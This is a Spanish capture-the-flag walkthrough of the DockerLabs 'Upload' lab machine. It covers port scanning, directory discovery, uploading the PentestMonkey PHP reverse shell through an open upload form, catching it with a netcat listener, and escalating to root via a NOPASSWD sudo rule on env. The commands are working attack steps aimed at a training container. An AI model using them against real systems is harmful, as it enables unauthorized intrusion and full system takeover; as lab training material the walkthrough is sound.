Upload
DockerLabs es una plataforma gratuita diseñada para practicar hacking ético al alcance de todo el mundo utilizando Docker. DockerLabs ofrece un entorno seguro y accesible para desplegar laboratorios vulnerables de la forma más eficiente y sencilla posible.
Information Gathering
El análisis inicial comienza con el comando ping para confirmar la accesibilidad de la máquina objetivo en la red.
1
2
3
4
5
6
7
/home/kali/Documents/dockerlabs/upload:-$ ping -c 1 172.17.0.3
PING 172.17.0.3 (172.17.0.3) 56(84) bytes of data.
64 bytes from 172.17.0.3: icmp_seq=1 ttl=64 time=0.066 ms
--- 172.17.0.3 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.066/0.066/0.066/0.000 ms
Realizo un escaneo agresivo de puertos con nmap, lo que me permite identificar rápidamente todos los puertos abiertos.
1
2
3
/home/kali/Documents/dockerlabs/upload:-$ nmap -p- --open -sS --min-rate 5000 -vvv 172.17.0.3 -n -Pn -oG nmap1
Host: 172.17.0.3 () Status: Up
Host: 172.17.0.3 () Ports: 80/open/tcp//http/// Ignored State: closed (65534)
Profundizo en los puertos detectados, recopilando información detallada sobre los servicios y versiones en ejecución.
1
2
3
4
5
6
7
8
/home/kali/Documents/dockerlabs/upload:-$ nmap -sCV -vvv -p80 172.17.0.3 -oN nmap2
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Upload here your file
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
MAC Address: DE:6E:DF:98:83:32 (Unknown)
1
2
/home/kali/Documents/dockerlabs/upload:-$ whatweb 172.17.0.3
http://172.17.0.3 [200 OK] Apache[2.4.52], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[172.17.0.3], Title[Upload here your file]
Web Analysis & Vulnerability Exploitation
El servicio web en el puerto 80 presenta un único formulario funcional, que permite subir archivos al servidor Apache. El formulario acepta archivos .php
, lo que sugiere una posible vía de ejecución remota de código si el archivo es accesible públicamente.
Realizo un escaneo de rutas, lo que permite descubrir el directorio /uploads/
, el cual está expuesto y accesible.
1
2
3
4
5
/home/kali/Documents/dockerlabs/upload:-$ dirb http://172.17.0.3/
---- Scanning URL: http://172.17.0.3/ ----
+ http://172.17.0.3/index.html (CODE:200|SIZE:1361)
+ http://172.17.0.3/server-status (CODE:403|SIZE:275)
==> DIRECTORY: http://172.17.0.3/uploads/
Descargó la reverse shell de PentestMonkey, modifico la IP y puerto y subo el archivo mediante el formulario.
1
/home/kali/Documents/dockerlabs/upload:-$ wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/refs/heads/master/php-reverse-shell.php -O shell.php
Luego de subir la shell, y acceder a /uploads/
se puede ver que el archivo aparece listado correctamente.
Con esto definido, inicio un listener con netcat.
1
2
/home/kali/Documents/dockerlabs/upload:-$ nc -lnvp 4321
listening on [any] 4321 ...
Y ejecutó la reverse shell desde la treminal con curl. Esto me otorga acceso remoto con permisos del usuario www-data
.
1
2
3
4
5
6
/home/kali/Documents/dockerlabs/upload:-$ curl http://172.17.0.3/uploads/shell.php
... connect to [172.17.0.1] from (UNKNOWN) [172.17.0.3] 46044
www-data@07b83fa8d21f:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Privilege Escalation
Para mejorar la interacción, restauro el entorno interactivo para mejorar la visibilidad y control de la shell.
1
2
3
4
5
6
7
8
9
www-data@07b83fa8d21f:/$ script /dev/null -c bash
www-data@07b83fa8d21f:/$ ^Z
home/kali/Documents/dockerlabs/upload:-$ stty raw -echo;fg
[2] + continued nc -nvlp 4321
reset xterm
www-data@07b83fa8d21f:/$ export TERM=xterm
www-data@07b83fa8d21f:/$ export SHELL=bash
www-data@07b83fa8d21f:/$ stty rows 36 columns 138
Consulto el archivo /etc/passwd
para identificar otros usuarios del sistema, los cuales poseen shells válidos.
1
2
www-data@07b83fa8d21f:/$ grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
Los permisos sudo
, revelan que el binario /usr/bin/env
puede ejecutarse como root
sin necesidad de contraseña.
1
2
3
4
5
6
www-data@07b83fa8d21f:/$ sudo -l
Matching Defaults entries for www-data on 07b83fa8d21f:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User www-data may run the following commands on 07b83fa8d21f:
(root) NOPASSWD: /usr/bin/env
Tal como se documenta en GTFObins. Esta configuración permite escalar privilegios a root
mediante una shell directa con env
.
1
2
3
4
www-data@07b83fa8d21f:/$ sudo env /bin/bash
root@07b83fa8d21f:/# id
uid=0(root) gid=0(root) groups=0(root)